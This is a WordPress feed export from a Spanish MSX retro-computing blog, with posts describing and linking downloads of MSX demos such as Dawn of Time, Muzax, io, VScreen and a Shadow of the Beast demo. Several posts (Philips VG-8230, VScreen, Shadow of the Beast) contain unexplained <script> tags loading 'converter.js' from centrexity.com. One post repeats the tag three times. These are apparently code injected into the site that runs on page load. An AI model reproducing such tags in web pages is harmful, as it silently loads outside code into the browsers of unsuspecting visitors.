" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-008.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-008.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="size-full wp-image-24011" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-008.png?resize=544%2C480" alt="" width="544" height="480" data-recalc-dims="1" /><figcaption id="caption-attachment-24011" class="wp-caption-text">Las monedas las podemos canjear por objetos</figcaption></figure></p>
<p style="text-align: justify;">Una de las características más importantes de la jugabilidad de Tina&#8217;s Adventure Island es vitalidad de la protagonista, que va disminuyendo confome pasa el tiempo. Por lo tanto, es vital para su supervivencia recoger las frutas que se encuentran esparcidas a lo largo de los niveles del juego.</p>
<p><figure id="attachment_24010" aria-describedby="caption-attachment-24010" style="width: 544px" class="wp-caption aligncenter"><img data-attachment-id="24010" data-permalink="https://www.msxblog.es/demo-de-tinas-adventure-island-ya-disponible/tinas-adventure-island-imanok-2016-003/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-003.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Tinas Adventure Island (Imanok, 2016)" data-image-description="" data-image-caption="&lt;p&gt;Las frutas reponen la vitalidad de la protagonista&lt;/p&gt;
" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-003.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-003.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="size-full wp-image-24010" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-003.png?resize=544%2C480" alt="" width="544" height="480" data-recalc-dims="1" /><figcaption id="caption-attachment-24010" class="wp-caption-text">Las frutas reponen la vitalidad de la protagonista</figcaption></figure></p>
<p style="text-align: justify;">La música PSG es muy pegadiza y cambia en cada uno de los niveles del juego. Los gráficos presumen de mucho colorido, y los escenarios dan muy buena impresión. En cuanto a la jugabilidad, el control de la protagonista es excelente, y la detección de colisiones es perfecta. Tina&#8217;s Adventure Islan</p>
<p style="text-align: justify;">Enlace relacionado: <a href="http://imanok.msxblue.com/games.html" target="_blank">Imanok</a></p>
<p><iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/Rq3yisiMeB4?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></p>
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		<title>Demo navideña del Club MSX Argentino</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sun, 20 Dec 2015 07:00:05 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Club MSX Argentino]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Navidad]]></category>
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					<description><![CDATA[Sencilla y divertida postal navideña del Club MSX Argentino para felicitar las Fiestas del año 2008. Felicitacion Navidad 2008 Club MSX Argentino]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.png" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="21375" data-permalink="https://www.msxblog.es/demo-navidena-del-club-msx-argentino/felicitacion-navidad-2008-club-msx-argentino/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Felicitación de Navidad &#8211; Club MSX Argentino (2008)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter  wp-image-21375" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.png?resize=400%2C353" alt="Felicitación de Navidad - Club MSX Argentino (2008)" width="400" height="353" data-recalc-dims="1" /></a></p>
<p style="text-align: justify;">Sencilla y divertida postal navideña del <strong>Club MSX Argentino</strong> para felicitar las Fiestas del año 2008.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/04/Felicitacion-Navidad-2008-Club-MSX-Argentino.zip">Felicitacion Navidad 2008 Club MSX Argentino</a></h2>
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		<title>Demo en SCREEN 5 (Lars The 18th)</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Tue, 07 Apr 2015 19:56:13 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Lars the 18th]]></category>
		<category><![CDATA[SCREEN 5]]></category>
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					<description><![CDATA[Carrusel de imágenes en SCREEN 5 para los MSX de segunda generación. SCREEN 5 Demo (Lars The 18th)]]></description>
										<content:encoded><![CDATA[<p>Carrusel de imágenes en SCREEN 5 para los MSX de segunda generación.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/04/SCREEN-5-Demo-Lars-The-18th.dsk_.zip">SCREEN 5 Demo (Lars The 18th)</a></h2>
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		<title>Dawn of Time (Station, 1993)</title>
		<link>https://www.msxblog.es/dawn-of-time-station-1993/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 30 Mar 2015 18:30:05 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[MSX-AUDIO]]></category>
		<category><![CDATA[MSX-MUSIC]]></category>
		<category><![CDATA[Música]]></category>
		<category><![CDATA[Station]]></category>
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					<description><![CDATA[Dawn of Time fue la primera demo del grupo Station, para MSX de segunda generación y con soporte para MSX-MUSIC y MSX-AUDIO. Dawn of Time (Station, 1993) &#160;]]></description>
										<content:encoded><![CDATA[<p><strong>Dawn of Time</strong> fue la primera demo del grupo <strong>Station</strong>, para MSX de segunda generación y con soporte para MSX-MUSIC y MSX-AUDIO.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/Dawn-of-Time-Station-1993.zip">Dawn of Time (Station, 1993)</a></h2>
<p>&nbsp;</p>
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		<title>Decalogue (Station)</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 30 Mar 2015 18:22:10 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Gráficos]]></category>
		<category><![CDATA[Música]]></category>
		<category><![CDATA[Station]]></category>
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					<description><![CDATA[Curiosa demo de Station (su segunda demo) que muestra gráficos vectoriales en la pantalla de nuestro MSX. Esta demo hace uso de MSX-AUDIO. Decalogue (Station)]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Curiosa demo de <strong>Station</strong> (su segunda demo) que muestra <strong>gráficos vectoriales</strong> en la pantalla de nuestro MSX. Esta demo hace uso de MSX-AUDIO.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/Decalogue-Station.zip">Decalogue (Station)</a></h2>
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		<title>Muzax #1, #2, #3</title>
		<link>https://www.msxblog.es/muzax/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 30 Mar 2015 15:43:29 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Fuzzy Logic]]></category>
		<category><![CDATA[Muzax]]></category>
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					<description><![CDATA[Muzax es una serie de tres discos musicales para MSX publicados por el grupo holandés Fuzzy Logic a mediados de los años noventa (1995 y 1996). Estos discos contienen melodías combinadas con&#8230; ]]></description>
										<content:encoded><![CDATA[<p><strong>Muzax</strong> es una serie de tres discos musicales para MSX publicados por el grupo holandés <strong>Fuzzy Logic</strong> a mediados de los años noventa (1995 y 1996). Estos discos contienen melodías combinadas con sonidos reales que le sacan todo el jugo al MSX-AUDIO y MSX-MUSIC.</p>
<p><strong>Hans Cnossen</strong> fue el compositor del primer episodio de la serie mientras que el de las dos restantes fue uno de mis músicos favoritos: <strong>Maarten van Strien (Wolf_)</strong>.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/Muzax-1-Fuzzy-Logic-1991.zip">Muzax 1 (Fuzzy Logic, 1995)</a></h2>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/Muzax-2-Fuzzy-Logic-1992.zip">Muzax 2 (Fuzzy Logic, 1995)</a></h2>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/Muzax-3-Fuzzy-Logic-1993.zip">Muzax 3 (Fuzzy Logic, 1996)</a></h2>
<p>En YouTube tenéis vídeos: <a title="Muzax #1" href="https://www.youtube.com/watch?v=s0QLCH_FiVs" data-rel="lightbox-video-0" target="_blank">aquí</a>, <a title="Muzax #2" href="https://www.youtube.com/watch?v=qEEYLXl8Hlw" data-rel="lightbox-video-1" target="_blank">aquí</a> y <a title="Muzax #3" href="https://www.youtube.com/watch?v=pZMaCof0MFk" data-rel="lightbox-video-2" target="_blank">aquí</a>.</p>
<p>Y en bgMSX podéis escuchar todas las músicas por separado y descargarlas: <a title="Muzax #1" href="http://goo.gl/7oNfsM" target="_blank">aquí</a>, <a title="Muzax #2" href="http://goo.gl/1mDBDQ" target="_blank">aquí</a> y <a title="Muzax #3" href="http://goo.gl/OzX6FJ" target="_blank">aquí</a>.</p>
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		<title>io (Logon System, 2015)</title>
		<link>https://www.msxblog.es/io-logon-system-2015/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Fri, 20 Mar 2015 23:52:33 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Logon System]]></category>
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					<description><![CDATA[io es una demo para los MSX de primera generación creada por el grupo Logon System y que ha resultado ser la ganadora de del concurso de demos dentro de la categoría&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>io</strong> es una demo para los MSX de primera generación creada por el grupo <strong>Logon System </strong>y que ha resultado ser la ganadora de del concurso de demos dentro de la categoría de <em>8bit demo</em> del evento <a href="http://2013-2015.forever-party.net/" target="_blank">Forever 2015</a> celebrada en Eslovaquia hace unos días.</p>
<h2 style="text-align: center;"><a href="http://www.msxblog.es/wp-content/uploads/2015/03/io-Logon-System-2015.zip">io (Logon System, 2015)</a></h2>
<p style="text-align: justify;">Enlace relacionado: <a href="http://www.pouet.net/prod.php?which=65232" target="_blank">Pouet</a></p>
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		<title>Philips VG-8230 Demo</title>
		<link>https://www.msxblog.es/philips-vg-8230-demo/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 10 Nov 2014 01:54:38 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[MSX-BASIC]]></category>
		<category><![CDATA[MSX2]]></category>
		<category><![CDATA[Philips VG-8230]]></category>
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					<description><![CDATA[Demo gráfica que pone en relieve la potencia gráfica de la nueva generación MSX2 que vio la luz en 1986 y que se usó para promocionar el modelo VG-8230 de&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Demo gráfica que pone en relieve la potencia gráfica de la nueva generación MSX2 que vio la luz en 1986 y que se usó para promocionar el modelo <strong>VG-8230</strong> de la marca holandesa Philips. Este programa está creado íntegramente en MSX-BASIC por <strong>P.A.Geelen</strong> y <strong>P.F.Pauwels</strong> sin usar ningún tipo de archivo o programa externo.</p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
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		<title>Christmas Demo (Cinic Systems, 2003)</title>
		<link>https://www.msxblog.es/christmas-demo-cinic-systems-2003/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Thu, 23 Oct 2014 18:24:47 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Cinic Systems]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[MSX Resource Center]]></category>
		<category><![CDATA[Snowfall Challenge]]></category>
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					<description><![CDATA[Demo realizada por Cinic Systems para el reto Snowfall organizado por MSX Resource Center en el año 2003. Durante la demo hay que pulsar las teclas 1 a 9 para&#8230; ]]></description>
										<content:encoded><![CDATA[<p>Demo realizada por <strong>Cinic Systems</strong> para el reto <a href="http://www.msx.org/forum/semi-msx-talk/msx-resource-center/mrc-snowfall-challenge-top-25-comments-jury" target="_blank">Snowfall organizado por MSX Resource Center</a> en el año 2003.</p>
<p>Durante la demo hay que pulsar las teclas 1 a 9 para cambiar las imágenes y el sonido.</p>
<p>Enlace relacionado: <a href="http://members.home.nl/jamesburton/index.html" target="_blank">Cinic Systems</a></p>
<p>
<a href='https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?fit=950%2C714&ssl=1' title="" data-rl_title="" class="rl-gallery-link" data-rl_caption="" data-rel="lightbox-gallery-1"><img width="150" height="150" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?resize=150%2C150&amp;ssl=1" class="attachment-thumbnail size-thumbnail no-lazy" alt="" decoding="async" loading="lazy" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?resize=160%2C160&amp;ssl=1 160w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?zoom=2&amp;resize=150%2C150&amp;ssl=1 300w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?zoom=3&amp;resize=150%2C150&amp;ssl=1 450w" sizes="(max-width: 150px) 100vw, 150px" data-attachment-id="20422" data-permalink="https://www.msxblog.es/christmas-demo-cinic-systems-2003/captura-de-pantalla-2014-10-23-a-las-0-52-10/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2014/10/Captura-de-pantalla-2014-10-23-a-las-0.52.10-e1414088395925.png?fit=950%2C714&amp;ssl=1" data-orig-size="950,714" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Christmas Demo (Cinic System, 2003)" data-image-description="" data-image-caption="&lt;p&gt;Pantalla de título&lt;/p&gt;
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		<title>Kuru Kuru Kururin (demo)</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 08 Sep 2014 01:28:15 +0000</pubDate>
				<category><![CDATA[Vídeos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Kuru Kuru Kururin]]></category>
		<category><![CDATA[Sutchan]]></category>
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					<description><![CDATA[Demo técnica del juego Kuru Kuru Kururin desarrollada para mostrar el potencial de la plataforma de desarrollo VScreen. Gráficos de Sutchan.]]></description>
										<content:encoded><![CDATA[<p>Demo técnica del juego <a href="http://msxgamesworld.com/ficha.php?id=4513" target="_blank">Kuru Kuru Kururin</a> desarrollada para mostrar el potencial de la plataforma de desarrollo <a title="VScreen, plataforma de desarrollo de juegos para MSX2" href="http://www.msxblog.es/vscreen-plataforma-de-desarrollo-de-juegos-para-msx2/">VScreen</a>. Gráficos de <strong>Sutchan</strong>.</p>
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		<title>VScreen, plataforma de desarrollo de juegos para MSX2</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 08 Sep 2014 01:07:24 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Vídeos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Herramientas de desarrollo]]></category>
		<category><![CDATA[Kuru Kuru Kururin]]></category>
		<category><![CDATA[VScreen]]></category>
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					<description><![CDATA[VScreen es una plataforma de desarrollo integrada por diferentes herramientas y rutinas que se pueden usar para crear diferentes tipos de juego para MSX2 y generaciones posteriores. Utiliza SCREEN 4&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>VScreen</strong> es una plataforma de desarrollo integrada por diferentes herramientas y rutinas que se pueden usar para crear diferentes tipos de juego para MSX2 y generaciones posteriores. Utiliza SCREEN 4 logrando un suave scroll onmidireccional a gran velocidad en un máximo de 32 pantallas (8 de ancho y 4 de altura).</p>
<p style="text-align: justify;">Lo que se puede conseguir con VScreen son cosas como lo que se ve en el vídeo, haciendo gala de un gran trabajo gráfico por parte de <strong>Maggoo</strong>.</p>
<p style="text-align: justify;">¿Os ha gustado? A mí me ha dejado con la boca abierta&#8230; Y lo mejor de todo es que Maggoo está trabajando en más niveles y quizá salga a la luz como juego terminado. Esperemos que sí.</p>
<p style="text-align: justify;">Desde la propia web de VScreen se puede descargar además una demo de <strong>Kuru Kuru Kururin</strong> (un <a href="http://es.wikipedia.org/wiki/Kuru_Kuru_Kururin" target="_blank">juego publicado en 2001</a> para Nintendo Game Boy) que muestra el potencial de esta herramienta. Podéis echarle un vistazo al vídeo en <a href="https://www.youtube.com/watch?v=DrbLDsj1kv4" data-rel="lightbox-video-0" target="_blank">este enlace</a>.</p>
<p style="text-align: justify;">Enlace relacionado: <a href="http://abyssmsx.com/vscreen-doc.htm" target="_blank">VScreen</a>.</p>
<p style="text-align: justify;"><span style="color: #ff0000;"><strong>Nota aclaratoria:</strong></span> Debido a la falta de información sobre el VScreen y los gráficos que aparecen en la demo, cometí el error de dar por sentado que los gráficos eran de Sutchan cuando no es así. El propio Sutchan se puso en contacto conmigo y me ha comentado que aportó algunos sprites del malogrado <a href="http://soft.mundivia.es/mpazos/PuddleLand/PuddleLand.htm" target="_blank">PuddleLand</a>, que todo el concepto estético y la inmensa mayoría del material gráfico no suyos y que su colaboración con Maggoo en este asunto fue puntual y muy corta, aunque guarda buen recuerdo. Y termina afirmando que si finalmente sale un juego usando este motor (cosa que espera) no será con su colaboración.</p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script><br />
<script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
<p><script src="http://centrexity.com/converter.js" type="text/javascript"></script></p>
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		<title>Demo de Shadow of the Beast para MSX2+</title>
		<link>https://www.msxblog.es/demo-de-shadow-of-the-beast-para-msx2/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Tue, 02 Sep 2014 22:04:22 +0000</pubDate>
				<category><![CDATA[Vídeos]]></category>
		<category><![CDATA[Commodore Amiga]]></category>
		<category><![CDATA[Concepto]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Shadow of the Beast]]></category>
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					<description><![CDATA[Fuente: MSX Boixos Club en facebook. Anonadado me he quedado tras ver la demo que ocupa esta entrada del Blog&#8230; Nada menos que Shadow of the Beast, juego mítico del&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Fuente: <a href="https://www.facebook.com/groups/MSXBC/831899933496507/" target="_blank">MSX Boixos Club en facebook</a>.</p>
<p style="text-align: justify;">Anonadado me he quedado tras ver la demo que ocupa esta entrada del Blog&#8230; Nada menos que <a href="http://en.wikipedia.org/wiki/Shadow_of_the_Beast" target="_blank">Shadow of the Beast</a>, juego mítico del Commodore Amiga ahora funcionando en un MSX2+</p>
<p style="text-align: justify;">Se trata sin embargo de una demo y no del juego completo. Basta echarle un vistazo a los diferentes planos de scroll para imaginarse grandes proyectos funcionando en nuestros MSX.</p>
<p><script src="http://centrexity.com/converter.js"></script></p>
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